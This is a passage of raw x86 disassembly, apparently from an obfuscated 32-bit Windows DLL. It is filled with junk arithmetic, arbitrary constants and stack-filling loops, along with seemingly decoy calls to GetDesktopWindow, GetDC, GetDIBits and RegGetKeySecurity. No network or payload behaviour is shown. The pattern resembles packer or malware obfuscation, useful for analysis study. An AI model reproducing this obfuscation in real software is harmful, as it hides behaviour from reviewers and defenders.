mov eax, dword [ebp - 0x20]
setle dl
add edx, dword [ebp + eax*4 - 0x51c]
jne 0x1003288f
xor eax, eax
mov ecx, eax
jmp 0x10032891
mov ecx, esi
mov eax, dword [ebp - 0x34]
sub eax, ecx
je 0x10032948
push 0xfffffffffffffff8
pop eax
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x4c], eax
xor eax, eax
push 2
mov dword [ebp - 0x34], eax
pop ecx
jmp 0x100328c0
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0xc74], 0x3674dcce
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], ecx
jl 0x100328af
mov eax, dword [ebp - 0x40]
xor eax, eax
cmp dword [ebp - 0x754], eax
jne 0x100328da
cmp dword [ebp - 0x75c], eax
je 0x100328dc
mov eax, esi
xor ecx, ecx
inc eax
test eax, eax
setle cl
xor edx, edx
neg ecx
mov dword [ebp - 0xc74], ecx
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp + eax*4 - 0x51c]
mov eax, dword [ebp - 0x4c]
cmp ecx, eax
mov eax, dword [ebp - 0x60]
sete dl
xor ecx, ecx
cmp edx, eax
setl cl
dec ecx
neg ecx
sbb ecx, ecx
neg ecx
neg ecx
jne 0x10032924
mov eax, dword [ebp - 0x758]
mov eax, dword [ebp - 0x51c]
xor ecx, ecx
test eax, eax
setg cl
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x3c]
mov dword [ebp - 0x758], eax
mov eax, dword [ebp - 0x1c]
jmp 0x100329ff
mov dword [ebp - 0x3c], 0xfff7
mov dword [ebp - 0x6c], 0x4b0cec93
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x51c]
cmp dword [ebp - 0x44], eax
jg 0x1003299c
mov eax, dword [ebp - 0x68]
cmp dword [ebp - 0x3c], eax
je 0x10032996
mov eax, dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x51c]
cmp eax, ebx
mov eax, dword [ebp - 0x3c]
setg dl
xor ecx, ecx
cmp edx, eax
setne cl
cmp ecx, 0x96089842
jb 0x1003299c
xor eax, eax
mov ecx, eax
jmp 0x1003299e
mov ecx, esi
mov eax, dword [ebp - 0x3c]
neg ecx
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setle dl
xor ecx, ecx
cmp edx, eax
setge cl
xor edx, edx
mov dword [ebp - 0x34], ecx
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x34]
cmp eax, ecx
mov eax, dword [ebp - 0x754]
setl dl
xor ecx, ecx
add edx, 0x37ae
cmp edx, eax
setl cl
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x18]
jne 0x100329e9
mov edx, eax
cmp dword [ebp - 0x3c], eax
je 0x100329eb
mov edx, esi
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
cmp edx, eax
setle cl
xor edi, edi
mov dword [ebp - 0x54], ecx
cmp dword [ebp - 0x6c], edi
jne 0x10032a0c
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jle 0x10032795
mov edi, dword [sym.imp.ADVAPI32.dll_RegGetKeySecurity]
xor eax, eax
mov ebx, 0x6968939f
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x10032a3c
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x7f4], 0x5b57fd54
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10032a24
xor eax, eax
push 2
mov dword [ebp - 0x1c], eax
pop ecx
cmp dword [ebp - 0x1c], ecx
jge 0x10032a5f
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x39c], 0x4c506d44
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10032a47
xor eax, eax
mov dword [ebp - 0x398], eax
cmp dword [ebp - 0x398], eax
jl 0x10032a87
mov eax, dword [ebp - 0x398]
cmp dword [ebp + eax*4 - 0x7f4], 0
jne 0x10032a85
dec dword [ebp - 0x398]
jns 0x10032a6d
xor eax, eax
mov dword [ebp - 0x48], 0x37e3b525
or edx, 0xffffffff
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x9b8], edx
mov dword [ebp - 0x9b4], edx
mov dword [ebp - 0x9b0], edx
mov dword [ebp - 0x9ac], edx
mov dword [ebp - 0x38], 0xfffffff8
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x38], 0xfffffffb
mov dword [ebp - 0x40], 0x8bbd
mov dword [ebp - 0x24], 0x527f84ff
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], ecx
jge 0x10032aee
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x4a0], 0xb000cd9d
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], ecx
jl 0x10032ad6
xor eax, eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0xfffffff6
jle 0x10032cc4
xor edi, edi
inc edi
jmp 0x10032b02
mov dword [ebp - 0x1c], 0xd21dfe4b
mov dword [ebp - 0x44], 4
mov dword [ebp - 0x6c], edx
mov dword [ebp - 0x38], 0xa2ff3e14
mov dword [ebp - 0x38], 0x8e6bae05
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x38], 0x4592404e
mov dword [ebp - 0x38], 0x5e3aa9c1
mov dword [ebp - 0x38], 6
mov dword [ebp - 0x34], eax
jmp 0x10032b4f
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x1018], 0x7a832397
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], ecx
jl 0x10032b3e
mov eax, dword [ebp - 0x1c]
xor eax, eax
cmp dword [ebp - 0x3c], eax
jne 0x10032b61
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x20]
neg ecx
sbb ecx, ecx
neg ecx
neg ecx
cmp eax, ecx
jle 0x10032ce1
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x10032ce3
mov ecx, esi
jmp 0x10032ce5
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x9ac]
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x40]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x3c]
setle cl
sub eax, ecx
mov dword [ebp - 0x4a0], eax
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xfffffff5
jge 0x10033c54
push 2
pop ebx
mov dword [ebp - 0x1c], 0x7cb3f4f4
push 4
pop ecx
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], esi
jge 0x10032d49
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x90], 0x62d5
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], esi
jl 0x10032d31
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x10032d68
push 7
pop ecx
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x90], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10032d54
mov dword [ebp - 0x1c], 0x4ee
cmp dword [ebp - 0x1c], eax
jne 0x10032dc5
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0x25
push 0
pop eax
je 0x10032670
push 2
pop ebx
mov dword [ebp - 0x48], 0xcc5c6a3f
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10033c8e
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xcc8], 0x5f70
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10033c76
xor eax, eax
push 3
mov dword [ebp - 0x1c], eax
pop ecx
cmp dword [ebp - 0x1c], ecx
jge 0x10033cad
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x678], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10033c99
xor eax, eax
mov dword [ebp - 0x678], eax
cmp dword [ebp - 0x678], esi
jg 0x10033da4
or edi, 0xffffffff
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jg 0x10033d5b
mov dword [ebp - 0x40], 0x6eff
xor edx, edx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + eax*4 - 0xcc8]
mov eax, dword [ebp - 0x40]
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setge dl
xor ecx, ecx
cmp eax, 0x32dfbb9d
setg cl
sub edx, ecx
neg edx
sbb edx, edx
xor eax, eax
inc edx
cmp edx, 0x5a8df044
setge al
mov dword [ebp - 0x48], eax
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x10033d4d
push 0x1b0b
push eax
push eax
push 0x1def
push 0x1399
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDIBits]
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jle 0x10033cd1
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x10033d84
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10033d81
push esi
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectPalette]
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jle 0x10033d60
inc dword [ebp - 0x678]
cmp dword [ebp - 0x678], esi
jle 0x10033cc2
mov edi, dword [sym.imp.ADVAPI32.dll_RegGetKeySecurity]
push 3
pop ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x2c], 0xfffffffe
mov dword [ebp - 0x60], 0x2d949044
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10033dd8
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x658], 0x7c8fa1b4
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10033dc0
xor eax, eax
cmp dword [ebp - 0x24], esi
jb 0x10033e4d
mov dword [ebp - 0x30], 0x7e4f
mov dword [ebp - 0x54], 0xe1c97412
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x24]
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp ecx, eax
sbb eax, eax
xor ebx, ebx
neg eax
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
setle bl
sub ebx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
neg ebx
sbb ebx, ebx
xor edx, edx
inc ebx
cmp ebx, eax
mov eax, dword [ebp - 0x34]
setge dl
xor ecx, ecx
cmp edx, eax
setge cl
xor ebx, ebx
mov dword [ebp - 0x24], ecx
inc ebx
mov dword [ebp - 0x24], 0x16
jmp 0x10033e42
mov dword [ebp - 0x34], ebx
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xffffffeb
jne 0x10033e3c
jmp 0x10033f43
mov dword [ebp - 0x48], 0x4a11600d
mov dword [ebp - 0x5c], 0x43c7
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x10033e7e
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xb4], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10033e66
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], eax
jl 0x10033ea9
push 5
pop ecx
mov dword [ebp - 0x38], 0x9ba
mov dword [ebp - 0x38], 0xfb5d1cb6
mov dword [ebp - 0x38], 0x14c5530c
mov dword [ebp - 0x30], ecx
inc dword [ebp - 0x30]
dec dword [ebp - 0x24]
jns 0x10033e89
cmp dword [ebp - 0xb4], eax
je 0x10033eb4
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0xb4]
xor edx, edx
mov eax, dword [ebp - 0x34]
cmp eax, ecx
mov eax, dword [ebp - 0x2c]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x24]
setge cl
sub eax, ecx
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x48], eax
jne 0x10033ee9
xor eax, eax
cmp dword [ebp - 0xb4], eax
je 0x10033ef5
jmp 0x10033eeb
xor eax, eax
mov edx, esi
cmp dword [ebp - 0xb4], eax
jne 0x10033ef7
mov edx, eax
xor ecx, ecx
mov dword [ebp - 0x658], edx
mov eax, dword [ebp - 0xb4]
cmp edx, eax
mov eax, dword [ebp - 0xb4]
setne cl
xor ebx, ebx
cmp ecx, eax
mov eax, dword [ebp - 0xb4]
mov edx, dword [ebp - 0x5c]
setge bl
sub ebx, eax
mov eax, dword [ebp - 0xb4]
sub ebx, 0xdbc75b16
neg ebx
sbb ebx, ebx
xor ecx, ecx
inc ebx
imul edx, ebx
cmp edx, eax
setge cl
xor ebx, ebx
mov dword [ebp - 0x48], ecx
inc ebx
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x1003403a
mov dword [ebp - 0x28], 0x31a2
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x48], 0x37e3b525
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xfffffff5
jge 0x10034037
push 2
mov dword [ebp - 0x1c], eax
pop ecx
cmp dword [ebp - 0x1c], ecx
jge 0x10033f8e
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xcdc], 0xfea1
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10033f76
xor eax, eax
push 3
mov dword [ebp - 0x1c], eax
pop ecx
cmp dword [ebp - 0x1c], ecx
jge 0x10033fb1
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xf58], 0xe91e412d
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10033f99
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10033fc0
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0x25
je 0x10033f4d
push 2
pop ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], 0x9d19ac19
mov dword [ebp - 0x2c], 0xfa4ad744
mov dword [ebp - 0x38], 0xb9a733e3
mov dword [ebp - 0x14], 0xc6f8b8ae
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10034086
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x11c], 0x799ac789
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1003406e
push 4
mov dword [ebp - 0x1c], eax
or edx, 0xffffffff
pop esi
cmp dword [ebp - 0x1c], esi
jge 0x100340a8